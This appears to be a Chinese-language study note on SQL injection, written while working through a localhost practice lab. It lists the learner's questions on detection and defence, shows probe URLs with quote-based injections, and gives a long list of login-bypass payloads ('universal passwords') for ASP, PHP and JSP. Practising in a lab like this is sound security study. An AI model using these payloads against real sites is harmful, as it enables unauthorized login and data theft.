疑惑:
1.php+mysql 运行环境(安全及适应性),asp以及jsp 运行环境安全及适应性
2.如何判断是否存在sql 注入,是那种数据库注入
3.数据库注入语法或者方式有哪些
4.怎么防御各种数据库注入
5.如果没有数据库注入,还有那些常用方式注入或者攻击方式,该怎么防御
6.如果已经被攻击和破坏,怎么解决,或者反追踪
第一关学习记录:
1. 加单引号报错
http://127.0.0.1/sql/Less-1/index.php?id=1'
链接语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
报错:
http://127.0.0.1/sql/Less-4/index.php?id=--1' http://127.0.0.1/sql/Less-4/index.php?id=-1' http://127.0.0.1/sql/Less-4/index.php?id=1 and 1=1 --+
盲注:
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17..admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
常规的方式:or ,#, * ,--
第一种特殊方式:select * from table where username='secpulse'='' and passowrd = 'secpulse'='';
sql解释引擎是从左至右执行: 数据库肯定没有secpulse这个用户,结果是false flase = '' 结果就是 true